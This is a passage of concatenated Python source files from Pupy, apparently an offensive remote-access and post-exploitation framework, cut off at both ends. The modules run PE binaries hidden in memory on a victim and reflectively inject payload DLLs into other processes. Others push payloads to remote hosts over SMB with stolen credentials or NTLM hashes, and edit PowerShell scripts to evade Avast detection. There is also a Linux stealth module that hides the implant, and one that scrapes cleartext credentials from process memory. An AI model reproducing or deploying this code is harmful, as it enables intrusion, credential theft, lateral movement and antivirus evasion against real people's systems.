                    info.type = tarfile.DIRTYPE
                    info.mtime = meta['st_mtime']
                    info.mode = meta['st_mode']
                    info.uid = meta['st_uid']
                    info.gid = meta['st_gid']
                    self._archive.addfile(info)

                else:
                    subdir = os.path.join(self._last_directory, self._check_name(d))
                    if not os.path.isdir(subdir):
                        os.mkdir(subdir)

            for z, meta in dirview[D_EMPTY]:
                meta = self._meta(meta)

                if self._archive:
                    info = tarfile.TarInfo()
                    info.name = os.path.join(self._current_file_dir, self._check_name(z))
                    info.type = tarfile.REGTYPE
                    info.mtime = meta['st_mtime']
                    info.mode = meta['st_mode']
                    info.uid = meta['st_uid']
                    info.gid = meta['st_gid']
                    info.size = 0
                    self._archive.addfile(info)

                else:
                    with open(os.path.join(self._last_directory, self._check_name(z)), 'wb'):
                        pass

            for s, lnk in dirview[D_SYMS]:
                if self._archive:
                    info = tarfile.TarInfo()
                    info.name = os.path.join(self._current_file_dir, self._check_name(s))

                    info.type = tarfile.SYMTYPE
                    info.linkname = lnk
                    self._archive.addfile(info)

                else:
                    s = os.path.join(self._last_directory, self._check_name(s))
                    if os.path.islink(s) or os.path.exists(s):
                        os.unlink(s)

                    lnk = self._split_path(lnk)
                    symto = os.path.sep.join(lnk)

                    if self.client.is_windows():
                        if symto.startswith(os.path.sep) or ':' in symto:
                            symto = os.path.relpath(
                                symto.upper(),
                                start=self._current_file_dir.upper()
                            ).split(os.path.sep)

                            for i in xrange(min(len(symto), len(lnk))):
                                if symto[-i-1] == '..':
                                    break

                                if symto[-i-1].upper() == lnk[-i-1].upper():
                                    symto[-i-1] = lnk[-i-1]

                            symto = os.path.sep.join(symto)

                    else:
                        if symto.startswith(os.path.sep):
                            symto = os.path.relpath(
                                symto,
                                start=self._current_file_dir_raw
                            )

                    os.symlink(symto, s)

            if self._archive:
                for s, meta, lnk in dirview[D_HARDS]:
                    meta = self._meta(meta)

                    info = tarfile.TarInfo()
                    info.name = os.path.join(self._current_file_dir, self._check_name(s))
                    info.type = tarfile.SYMTYPE
                    info.linkname = lnk
                    info.mtime = meta['st_mtime']
                    info.mode = meta['st_mode']
                    info.uid = meta['st_uid']
                    info.gid = meta['st_gid']

                    self._archive.addfile(info)

                for spec, meta in dirview[D_SPECIALS]:
                    meta = self._meta(meta)

                    info = tarfile.TarInfo()
                    info.name = os.path.join(self._current_file_dir, self._check_name(spec))

                    device = False

                    if meta['st_mode'] & 0o170000 == stat.S_IFIFO:
                        info.type = tarfile.FIFOTYPE
                    elif meta['st_mode'] & 0o170000 == stat.S_IFBLK:
                        info.type = tarfile.BLKTYPE
                        device = True
                    elif meta['st_mode'] & 0o170000 == stat.S_IFCHR:
                        info.type = tarfile.CHRTYPE
                        device = True
                    elif meta['st_mode'] & 0o170000 == stat.S_IFSOCK:
                        info.type = tarfile.CONTTYPE
                    else:
                        continue

                    info.mtime = meta['st_mtime']
                    info.mode = meta['st_mode']
                    info.uid = meta['st_uid']
                    info.gid = meta['st_gid']

                    if device and hasattr(os, "major") and hasattr(os, "minor"):
                        info.devmajor = os.major(meta['st_rdev'])
                        info.devminor = os.minor(meta['st_rdev'])

                    self._archive.addfile(info)

            self._pending_metadata = dirview[D_FILES]

    def interrupt(self):
        if self._completed.is_set():
            return

        try:
            if self._terminate:
                self._terminate()

                self._completed.wait(5)
                self._terminate = None

        finally:
            self._completed.set()
            self._submit_message(None, None)

    def __del__(self):
        if self._current_file is not None:
            self._current_file.close()
            self._current_file = None

        if self._archive is not None:
            self._archive.close()
            self._archive = None

        self._transfer = None
        self._worker = None


================================================
FILE: pupy/modules/lib/utils/shell_exec.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import subprocess

def shell_exec(client, cmdline, shell=None, env=None, encoding=None):
    """ cmdline can be either a list of arguments or a string """

    check_output = client.remote('subprocess', 'check_output')

    res = ''

    try:
        if client.is_android():
            if shell is None:
                shell="/system/bin/sh"
        if shell is None:
            res = check_output(
                cmdline,
                stderr = subprocess.STDOUT,
                stdin = subprocess.PIPE,
                shell = True,
                universal_newlines = True,
                env=env
            )
        else:
            if client.is_windows():
                command=[shell, '/c', cmdline]
            else:
                command=[shell, '-c', cmdline]

            res = check_output(
                command,
                stderr=subprocess.STDOUT,
                stdin=subprocess.PIPE,
                universal_newlines=True,
                env=env
            )

    except Exception as e:
        if hasattr(e, 'output') and e.output:
            res = e.output
        else:
            res = str(e)

    if encoding:
        try:
            res = res.decode(encoding)
        except Exception:
            pass

    return res


================================================
FILE: pupy/modules/lib/windows/__init__.py
================================================


================================================
FILE: pupy/modules/lib/windows/memory_exec.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE
# file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.utils.pe import get_pe_arch, is_dotnet_bin
from pupy.modules.lib.utils.cmdrepl import CmdRepl

import threading


def exec_pe(
    module, prog_args, path=None, raw_pe=None,
    interactive=False, use_impersonation=False,
        suspended_process='cmd.exe', codepage=None, wait=True):

    if not raw_pe and not path:
        raise Exception("raw_pe or path must be supplied")

    if path:
        pe_arch = get_pe_arch(path)
        proc_arch = module.client.desc["proc_arch"]
        if pe_arch != proc_arch:
            module.error(
                '%s is a %s PE and your pupy payload is a %s process. '
                'Please inject a %s PE or migrate into a %s process first' % (
                    path, pe_arch, proc_arch, proc_arch, pe_arch
                )
            )
            return

        if is_dotnet_bin(path):
            module.error(
                '%s is a .Net binary. Right now this kind of '
                'binary is not managed and cannot be loaded '
                'in memory.' % path
            )
            return

    if not raw_pe:
        raw_pe = b''
        with open(path, 'rb') as f:
            raw_pe = f.read()

    dupHandle = None
    if use_impersonation:
        dupHandle = module.client.impersonated_dupHandle
        if dupHandle is None:
            module.error(
                'No token has been impersonated on this session. '
                'use impersonate module first'
            )
            return

    if not hasattr(module, 'mp'):
        setattr(module, 'mp', None)

    mp = module.client.conn.modules[
        'pupwinutils.memexec'
    ].MemoryPE(
        raw_pe, args=prog_args, hidden=True,
        suspended_process=suspended_process,
        dupHandle=dupHandle
    )

    module.mp = mp
    complete = threading.Event()
    stdout = None

    if interactive:
        repl, _ = CmdRepl.thread(
            module.stdout,
            mp.write,
            complete,
            True, None,
            codepage
        )

        module.client.conn.register_remote_cleanup(
            mp.close
        )

        if mp.execute(complete.set, repl._con_write):
            complete.wait()
            mp.close()

            module.client.conn.unregister_remote_cleanup(
                mp.close
            )

            module.success('Process exited. Press ENTER')
        else:
            complete.set()
            module.error('Launch failed. Press ENTER')
    else:
        pid = mp.execute(complete.set, module.log)
        if pid:
            module.success('[Process launched: PID={}]'.format(pid))

            if not wait:
                mp.close()
                module.mp = None
                return

            complete.wait()

            stdout = mp.stdout
            mp.close()
            module.mp = None
        else:
            module.error('Launch failed')

    return stdout


================================================
FILE: pupy/modules/lib/windows/migrate.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
import time

from pupy.cli import pupygen

from pupy.pupylib.payloads.dependencies import Target

if sys.version_info.major > 2:
    xrange = range


def has_proc_migrated(client, pid):
    for c in client.pupsrv.clients:
        if int(c.desc['pid']) != pid:
            continue

        for field in ('hostname', 'macaddr'):
            if c.desc.get(field) == client.desc.get(field):
                return c

    return None


def migrate(
    module, pid, keep=False, timeout=30, bindPort=None,
        debug=False, from_payload=None):
    '''
    - bindPort: The port used for listening on the target WHEN the current
                launcher uses a BIND connection. When the current launcher
                uses a BIND connection, this session is kept even if
                keep==False. When bindPort!=None and the current launcher
                uses a REVERSE connection (e.g. connect, auto_proxy),
                bindPort is not used in this function
    '''
    module.client.load_package('pupwinutils.processes')
    isProcess64bits = False
    # If current launcher uses a BIND connection, isBindConnection == True
    isBindConnection = False

    pid = int(pid)

    module.success('looking for process {} architecture ...'.format(pid))

    is_process_64 = module.client.remote(
        'pupwinutils.processes', 'is_process_64'
    )

    target = None

    if is_process_64(pid):
        isProcess64bits = True
        module.info('Process is 64 bits')
        target = Target(
            module.client.target.pyver,
            platform=(
                'windows', 'amd64'
            ),
            debug=debug
        )
    else:
        target = Target(
            module.client.target.pyver,
            platform=(
                'windows', 'x86'
            ),
            debug=debug
        )
        module.info("process is 32 bits")

    dllbuff = None
    if from_payload:
        with open(from_payload, 'rb') as payload:
            dllbuff = payload.read()

        keep = True
        module.success('Precompiled payload: {}'.format(from_payload))
    else:
        conf = module.client.get_conf()

        # Manage when current launcher uses a BIND connection
        # (and not a REVERSE connection)

        if module.client.desc['launcher'] not in ('connect', 'auto_proxy'):
            keep = True
            module.warning('Enable keep (forced)')

        if module.client.desc['launcher'] == "bind":
            isBindConnection = True
            module.success('The current launcher uses a bind connection')
            module.success(
                'The bind port {0} is defined in DLL configuration'.format(
                    bindPort)
            )

            conf['launcher_args'][
                conf['launcher_args'].index("--port")+1] = str(bindPort)

        dllbuff, filename, _ = pupygen.generate_binary_from_template(
            module.log, conf, target, shared=True
        )

        module.success('Template: {}'.format(filename))

    if not isinstance(dllbuff, (bytes, bytearray)):
        raise ValueError(
            'Template expected to be bytes object. Got ({}) instead'.format(
                type(dllbuff)
            )
        )

    if module.config.getboolean('pupyd', 'alt_header'):
        module.warning('Using ALT markers')
        # Use ALT markers to simplify debugging
        for offt in xrange(0, 1024, 4):
            if dllbuff[offt:offt+4] == b'PE\0\0':
                dllbuff = b''.join([
                    b'HE',
                    dllbuff[2:offt],
                    b'\xb5\x00[\xb1',
                    dllbuff[offt+4:]
                ])

    dllbuff = bytes(dllbuff)

    module.success(
        'Injecting DLL into the target process {} ...'.format(pid)
    )

    reflective_inject_dll = module.client.remote(
        'pupy.agent', 'reflective_inject_dll', False
    )

    reflective_inject_dll(
        int(pid), dllbuff, bool(isProcess64bits)
    )

    module.success('DLL injected')

    if keep or isBindConnection:
        return

    module.success('Waiting for a connection from the DLL ...')
    time_end = time.time() + timeout
    c = False
    while True:
        c = has_proc_migrated(module.client, pid)
        if c:
            module.success('Got a connection from migrated DLL')
            c.pupsrv.move_id(c, module.client)
            module.client.conn.exit()
            module.success('Migration completed')
            break

        elif time.time() > time_end:
            module.error('Migration timed out')
            break

        time.sleep(0.5)


================================================
FILE: pupy/modules/lib/windows/powerloader.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'serve',
)

from io import open
from os import unlink
from threading import Event

from pupy.cli.pupygen import generate_binary_from_template
from pupy.pupylib.payloads.dotnet import DotNetPayload

DEFAULT_TIMEOUT = 90


def serve(
    module, payload_config, timeout=DEFAULT_TIMEOUT,
    host=None, port=445, user=None, domain=None, password=None,
        ntlm=None, execm='smbexec', arch=None):

    if arch is None:
        # Use native arch
        arch = module.client.arch

    payload, tpl, _ = generate_binary_from_template(
        module.log, payload_config, module.client.target,
        shared=True
    )

    module.success(
        'Generating native payload with the current '
        'config from {} - size={}'.format(
            tpl, len(payload)
        )
    )

    dotnet_payload_path = DotNetPayload(
        module.log, module.client.pupsrv, payload_config, payload
    ).gen_exe(options='-target:library')

    dotnet_payload = None

    if not dotnet_payload_path:
        module.error(".NET Compilation failed")
        return

    with open(dotnet_payload_path, 'rb') as dotnet_payload_obj:
        dotnet_payload = dotnet_payload_obj.read()

    unlink(dotnet_payload_path)

    module.success(
        'Wrapped .NET payload - size={}'.format(len(dotnet_payload))
    )

    push_payload = None

    if host is None:
        module.client.load_package('powerloader')
        push_payload = module.client.remote(
            'powerloader', 'push_payload', False
        )
    else:
        module.client.load_package('pupyutils.psexec')
        pupy_smb_exec = module.client.remote(
            'pupyutils.psexec', 'pupy_smb_exec', False
        )

        def _push_payload(payload, timeout=90, log_cb=None):
            return pupy_smb_exec(
                host, port, user, domain, password, ntlm, payload,
                execm=execm, timeout=timeout, log_cb=log_cb
            )

        push_payload = _push_payload

    completion = Event()

    def _power_logger(result, info):
        hostinfo = ''
        if host is not None:
            hostinfo = ' ({})'.format(host)

        if result is None:
            module.info('PowerLoader{}: {}'.format(hostinfo, info))
            return

        if result is False:
            module.error('PowerLoader{}: {}'.format(hostinfo, info))
        elif result is True:
            module.success('PowerLoader{}: {}'.format(hostinfo, info))

        if completion:
            completion.set()

    cmd, pipename = push_payload(
        dotnet_payload, timeout=timeout, log_cb=_power_logger)

    if not cmd or not pipename:
        module.error('PowerLoader: failed')
        return None, None

    module.success(
        'PowerLoader: Serving payload to '
        'pipe={} for {} seconds'.format(
            pipename, timeout
        )
    )

    return cmd, completion


================================================
FILE: pupy/modules/lib/windows/powershell.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import re

def remove_comments(string):
    '''
    Remove comments in powershell script
    '''
    pattern = r"(\".*?\"|\'.*?\')|(<#.*?#>|#[^\r\n]*$)"
    # first group captures quoted strings (double or single)
    # second group captures comments (#single-line or <# multi-line #>)
    regex = re.compile(pattern, re.MULTILINE|re.DOTALL)

    def _replacer(match):
        # if the 2nd group (capturing comments) is not None,
        # it means we have captured a non-quoted (real) comment string.
        if match.group(2) is not None:
            return "" # so we will return empty to remove the comment
        else: # otherwise, we will return the 1st group
            return match.group(1) # captured quoted-string
    return regex.sub(_replacer, string)

def obfs_ps_script(script):
    """
    Strip block comments, line comments, empty lines, verbose statements,
    and debug statements from a PowerShell source file.
    """
    # strip block comments
    strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', script)
    # strip blank lines, lines starting with #, and verbose/debug statements
    strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
    return strippedCode

def obfuscatePowershellScript(code):
    '''
    Try to clean powershell script (perhaps in the future 'obfuscation'...).
    Comments are deteleted and some strings are replaced in some powershell functions to bypass AV detection
    '''
    newCode = code
    newCode = remove_comments(newCode)
    newCode = obfs_ps_script(newCode)
    # For Avast detection bypass. Very easy to bypass the AV detection : Shame on you Avast -:)
    # Notice only Avast and Ikarus detect Invoke-ReflectivePEInjection.ps1 as a 'virus' (BV:AndroDrp-B [Drp], HackTool.Win32.Mikatz)
    if "function Invoke-ReflectivePEInjection" in newCode:
        newCode = newCode.replace("$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null", "$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERIS'+'TICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null")
    return newCode


================================================
FILE: pupy/modules/lib/windows/winpcap.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyErrors import PupyModuleError

NPCAP_NOT_FOUND = '''
WinPCAP is not installed. You should install NPcap driver.
Standard version can be found here: https://github.com/nmap/npcap/releases
OEM Version which supports silent install can be extracted from NMap installer.
Nmap 7.70 can be found here: https://nmap.org/dist/nmap-7.70-setup.exe.
Only OEM installer supports silent install (/S) option.
'''

KNOWN_DRIVERS = [
    r'system32\NPcap\Packet.dll',
    r'system32\Packet.dll'
]

def init_winpcap(client):
    exists = client.remote('os.path', 'exists', False)
    getenv = client.remote('os', 'getenv', False)
    environ = client.remote('os', 'environ', False)

    windir = getenv('WINDIR')
    if not windir:
        windir = r'C:\Windows'

    if not any(exists(windir+'\\'+x) for x in KNOWN_DRIVERS):
        raise PupyModuleError(NPCAP_NOT_FOUND)

    PATH = getenv('Path')
    if 'NPcap' not in PATH:
        environ['Path'] = PATH + ';' + windir+r'\system32\NPcap'


================================================
FILE: pupy/modules/linux_stealth.py
================================================
#!/usr/bin/env python

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import (
    config, PupyModule, PupyArgumentParser,
    QA_UNSTABLE
)
from pupy.pupylib.utils.rpyc_utils import redirected_stdio

__class_name__="SetStealth"

@config(compat="linux", cat="manage")
class SetStealth(PupyModule):
    """Hides the running process from netstat, ss, ps, lsof by using modified binaries.
Credits to: http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/
Demo: https://vimeo.com/157356150"""

    dependencies=["linux_stealth"]
    qa = QA_UNSTABLE

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="Linux Stealth Module", description=cls.__doc__)
        cls.arg_parser.add_argument('--port', default=None, help='The port number to which Pupy is connecting to.')

    def run(self, args):
        with redirected_stdio(self):
            self.client.conn.modules['linux_stealth'].run(args.port)
        self.success("Module executed successfully.")


================================================
FILE: pupy/modules/load_package.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyCompleter import package_completer

__class_name__ = "LoadPackageModule"


@config(cat="manage", compat="all")
class LoadPackageModule(PupyModule):
    """
    Load a python package onto a remote client. Packages files must be placed in one of the pupy/packages/<os>/<arch>/ repository
    """

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="load_package", description=cls.__doc__)
        cls.arg_parser.add_argument('-f', '--force', action='store_true', help='force package to reload even '
                                                                               'if it has already been loaded')
        cls.arg_parser.add_argument('-r', '--remove', action='store_true', help='remove (invalidate) module')
        cls.arg_parser.add_argument('-d', '--dll', action='store_true', help='load a dll instead')
        cls.arg_parser.add_argument('package', completer=package_completer, help='package name '
                                                                                 '(example: psutil, scapy, ...)')

    def run(self, args):
        if args.dll:
            if self.client.load_dll(args.package):
                self.success('dll loaded')
            else:
                self.error('the dll was already loaded')
        elif args.remove:
            invalidated = self.client.invalidate_packages([args.package])
            if invalidated:
                self.success('package invalidated')
        else:
            if self.client.load_package(args.package, force=args.force):
                self.success('package loaded')
            else:
                self.warning('package is already loaded')


================================================
FILE: pupy/modules/lock_screen.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

import subprocess

__class_name__="PupyMod"

@config(compat=["windows", "darwin"], cat="manage", tags=["lock", "screen", "session"])
class PupyMod(PupyModule):
    """ Lock the session """

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="lock_screen", description=cls.__doc__)

    def run(self, args):
        ok = False
        if self.client.is_windows():
            ok = self.client.conn.modules['ctypes'].windll.user32.LockWorkStation()
        elif self.client.is_darwin():
            ok = self.client.conn.modules.subprocess.Popen(
                '/System/Library/CoreServices/Menu Extras/User.menu/Contents/Resources/CGSession -suspend',
                stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True)

        if ok:
            self.success("windows locked")
        else:
            self.error("couldn't lock the screen")


================================================
FILE: pupy/modules/logs.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import TruncateToTerm, List, Color, Line

from datetime import datetime

__class_name__='Logs'
@config(cat='admin', compat=['posix', 'windows'])
class Logs(PupyModule):
    ''' Show logs (or try to search something) '''

    dependencies = {
        'posix': ['readlogs_generic'],
        'windows': ['pupwinutils.security'],
        'all': ['readlogs']
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='logs', description=cls.__doc__)
        cls.arg_parser.add_argument('-n', '--number', type=int, default=10,
                        help='Show last n records of each category (if applicable)')
        cls.arg_parser.add_argument('-i', '--include', action='append', default=[],
                        help='Add regex to include content')
        cls.arg_parser.add_argument('-s', '--source', help='Filter by source')
        cls.arg_parser.add_argument('-x', '--exclude', action='append', default=[],
                        help='Add regex to exclude content')
        cls.arg_parser.add_argument('-t', '--time', action='store_true', default=False,
                        help='Show time')
        cls.arg_parser.add_argument('-w', '--width', action='store_true', default=False,
                        help='Show full content')
        cls.arg_parser.add_argument(
            '-I', '--event-id', help='Filter by event id (if applicable')


    def run(self, args):
        get_last_events = self.client.remote('readlogs', 'get_last_events')
        today = datetime.now().date()

        def make_fields(item):
            items = []
            if args.time:
                date = datetime.fromtimestamp(item['date'])
                date_str = ''
                if date.date() == today:
                    date_str = Color(date.strftime('%H:%M:%S'), 'cyan')
                elif date.date().year == today.year:
                    date_str = Color(date.strftime('%d/%m %H:%M:%S'), 'grey')
                else:
                    date_str = Color(
                        date.strftime('%Y/%d/%m %H:%M:%S'), 'lightgrey')

                items.append(date_str)

            if 'EventID' in item:
                items.append(Color(item['EventID'], 'green'))

            msg = item['msg']

            if not args.width:
                msg = ' '.join([x.strip() for x in msg.split('\n')])

            if item.get('type') in ('CRITICAL', 'EMERGENCY', 'ALERT', 'ERROR'):
                msg = Color(msg, 'lightred')
            elif item.get('type') == 'WARNING':
                msg = Color(msg, 'lightyellow')
            elif item.get('type') == 'DEBUG':
                msg = Color(msg, 'grey')

            items.append(msg)
            return Line(*items)

        for category, events in get_last_events(
                    args.number, args.include, args.exclude, args.event_id, args.source
                ).items():
            if not events:
                continue

            data = List([
                    make_fields(x) for x in events
                ], indent=0, bullet='+' if args.include or args.exclude else '', caption=Color(
                    '> ' + category, 'yellow'))

            if not args.width:
                data = TruncateToTerm(data)

            self.log(data)


================================================
FILE: pupy/modules/loot_memory.py
================================================
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

__class_name__="LootMemory"

@config(cat="creds", compat=["windows", "linux"])
class LootMemory(PupyModule):
    '''
        Crawl processes memory and look for cleartext credentials
    '''
    unique_instance = True
    dependencies = ['memorpy', 'loot_memory']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='loot_memory', description=cls.__doc__)
        cls.arg_parser.add_argument('-p', '--poll', default=20, type=int, help='Poll interval (seconds)')
        cls.arg_parser.add_argument('action', choices=['start', 'stop', 'dump'])

    def run(self, args):
        start = self.client.remote('loot_memory', 'start')
        stop = self.client.remote('loot_memory', 'stop', False)
        dump = self.client.remote('loot_memory', 'dump')

        if args.action == 'start':
            ok = start(poll=args.poll)
            if ok:
                self.success('PwdMon has been started')
            else:
                self.error('PwdMon has not been started')

        elif args.action == 'dump':
            results = dump()
            if results is None:
                self.error('PwdMon is not started')
            else:
                for proc, service, pwd in results:
                    self.success('[{}][{}]{}'.format(proc, service, pwd))

        elif args.action == 'stop':
            stop()


================================================
FILE: pupy/modules/ls.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyCompleter import remote_path_completer
from pupy.pupylib.PupyOutput import Color
from pupy.modules.lib import size_human_readable, file_timestamp
from pupy.pupylib.utils.term import symbol_len

from pupy.network.lib.convcompat import as_unicode_string

import sys
from argparse import REMAINDER

if sys.version_info.major > 2:
    basestring = str

__class_name__ = 'ls'

T_NAME = 0
T_TYPE = 1
T_SPEC = 2
T_MODE = 3
T_UID = 4
T_GID = 5
T_SIZE = 6
T_TIMESTAMP = 7
T_PATH = 8
T_FILES = 9
T_FILE = 10
T_TRUNCATED = 11
T_ZIPFILE = 12
T_TARFILE = 13
T_HAS_XATTR = 14

# TODO: Rewrite using tables


def to_str(value):
    return as_unicode_string(value, fail='convert')


def output_format(
    file, windows=False, archive=None,
        time=False, uid_len=0, gid_len=0):

    if file[T_TYPE] == 'X':
        return '--- TRUNCATED ---'

    name = to_str(file[T_NAME])

    if archive:
        name += u' \u25bb ' + archive

    timestamp_field = u'{:<18}' if time else u'{:<10}'

    if windows:
        out = u'  {}{}{}{}{}{}'.format(
            timestamp_field.format(file_timestamp(file[T_TIMESTAMP], time)),
            u'{:<2}'.format(file[T_TYPE] + ('+' if file[T_HAS_XATTR] else '')),
            to_str(file[T_UID]).rjust(uid_len+1)+u' ' if uid_len else u'',
            to_str(file[T_GID]).rjust(gid_len+1)+u' ' if gid_len else u'',
            u'{:>9}'.format(size_human_readable(file[T_SIZE])),
            u' {:<40}'.format(name))
    else:
        if not uid_len:
            uid_len = 5

        if not gid_len:
            gid_len = 5

        out = u'  {}{}{}{}{}{}{}'.format(
            timestamp_field.format(file_timestamp(file[T_TIMESTAMP], time)),
            u'{:<2}'.format(file[T_TYPE] + ('+' if file[T_HAS_XATTR] else '')),
            to_str(file[T_UID]).rjust(uid_len+1)+' ',
            to_str(file[T_GID]).rjust(gid_len+1)+' ',
            u'{:04o} '.format(file[T_MODE] & 0o7777),
            u'{:>9}'.format(size_human_readable(file[T_SIZE])),
            u' {:<40}'.format(name))

    if archive:
        out = Color(out, 'yellow')
    elif file[T_TYPE] == 'D':
        out = Color(out, 'lightyellow')
    elif 'U' in file[T_SPEC]:
        out = Color(out, 'lightred')
    elif 'G' in file[T_SPEC]:
        out = Color(out, 'red')
    elif file[T_TYPE] == 'B':
        out = Color(out, 'grey')
    elif file[T_TYPE] == 'C':
        out = Color(out, 'grey')
    elif file[T_TYPE] == 'F':
        out = Color(out, 'cyan')
    elif file[T_TYPE] == 'S':
        out = Color(out, 'magenta')
    elif file[T_TYPE] == 'L':
        out = Color(out, 'grey')
    elif not file[T_SIZE]:
        out = Color(out, 'darkgrey')
    elif 'W' in file[T_SPEC] and not windows:
        out = Color(out, 'blue')
    elif file[T_HAS_XATTR]:
        out = Color(out, 'lightmagenta')
    elif 'E' in file[T_SPEC]:
        out = Color(out, 'lightgreen')

    return out


@config(cat="admin")
class ls(PupyModule):
    """ list system files """
    is_module = False

    dependencies = ['pupyutils.basic_cmds']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="ls", description=cls.__doc__)
        cls.arg_parser.add_argument(
            '-d', '--dir', action='store_false', default=True,
            help='do not list directories'
        )

        cls.arg_parser.add_argument(
            '-u', '--userinfo', action='store_true', help='show uid info'
        )
        cls.arg_parser.add_argument(
            '-g', '--groupinfo', action='store_true', help='show gid info'
        )

        sort = cls.arg_parser.add_mutually_exclusive_group()
        sort.add_argument(
            '-L', '--limit', type=int, default=1024,
            help='List no more than this amount of files (server side), '
            'to not to stuck on huge dirs. Default: 1024'
        )
        sort.add_argument(
            '-A', '--archive', action='store_true',
            help='list archives (tar/zip)'
        )
        sort.add_argument(
            '-s', '--size', dest='sort', action='store_const',
            const=T_SIZE, help='sort by size'
        )
        sort.add_argument(
            '-t', '--time', dest='sort', action='store_const',
            const=T_TIMESTAMP, help='sort by time'
        )
        cls.arg_parser.add_argument(
            '-r', '--reverse', action='store_true', default=False,
            help='reverse sort order'
        )
        cls.arg_parser.add_argument(
            'path', type=str, nargs=REMAINDER,
            help='path of a specific file', completer=remote_path_completer
        )

    def run(self, args):
        try:
            ls = self.client.remote('pupyutils.basic_cmds', 'ls')

            path = ' '.join(args.path)

            results = ls(
                path, args.dir, args.limit,
                args.archive, args.userinfo or args.groupinfo)

        except Exception as e:
            raise
            self.error(
                ' '.join(x for x in e.args if isinstance(x, basestring))
            )
            return

        # results = obtain(results)
        windows = self.client.is_windows()

        if not results:
            return

        total_cnt = 0
        files_size = 0
        files_cnt = 0
        dirs_cnt = 0

        show_time = args.sort == T_TIMESTAMP

        for r in results:
            uid_len = 0
            gid_len = 0

            if T_FILES in r:
                archive = None
                is_windows = windows

                if args.userinfo or args.groupinfo:
                    for x in r[T_FILES]:
                        if args.userinfo:
                            uid = x.get(T_UID, '?')
                            if type(uid) == int:
                                uid = str(uid)

                            if symbol_len(uid) > uid_len:
                                uid_len = symbol_len(uid)

                        if args.groupinfo:
                            gid = x.get(T_GID, '?')
                            if type(gid) == int:
                                gid = str(gid)

                            if symbol_len(gid) > gid_len:
                                gid_len = symbol_len(gid)

                if T_ZIPFILE in r:
                    self.log(Color('ZIP: '+r[T_ZIPFILE]+':', 'lightred'))
                    is_windows = True
                elif T_TARFILE in r:
                    self.log(Color('TAR: '+r[T_TARFILE]+':', 'lightred'))
                    is_windows = False
                elif T_PATH in r:
                    self.log(r[T_PATH]+':')

                if not args.sort:
                    dirs = []
                    files = []
                    truncated = 0

                    for x in r[T_FILES] or []:
                        if T_TRUNCATED in x:
                            truncated = x[T_TRUNCATED]
                            total_cnt += truncated
                        elif x[T_TYPE] == 'D':
                            dirs.append(x)
                            total_cnt += 1
                            dirs_cnt += 1
                        else:
                            files.append(x)
                            files_size += x[T_SIZE]
                            total_cnt += 1
                            files_cnt += 1

                    for f in sorted(
                        dirs, key=lambda x: to_str(x.get(T_NAME)),
                            reverse=args.reverse):

                        self.log(
                            output_format(
                                f, is_windows, time=show_time,
                                uid_len=uid_len, gid_len=gid_len
                            )
                        )

                    for f in sorted(
                        files, key=lambda x: to_str(x.get(T_NAME)),
                            reverse=args.reverse):
                        self.log(
                            output_format(
                                f, is_windows, time=show_time,
                                uid_len=uid_len, gid_len=gid_len
                            )
                        )

                    if truncated:
                        self.warning(
                            'Folder is too big. Not listed: {} (-L {})'.format(
                                truncated, args.limit
                            )
                        )

                        self.info(
                            'Summary (observed): '
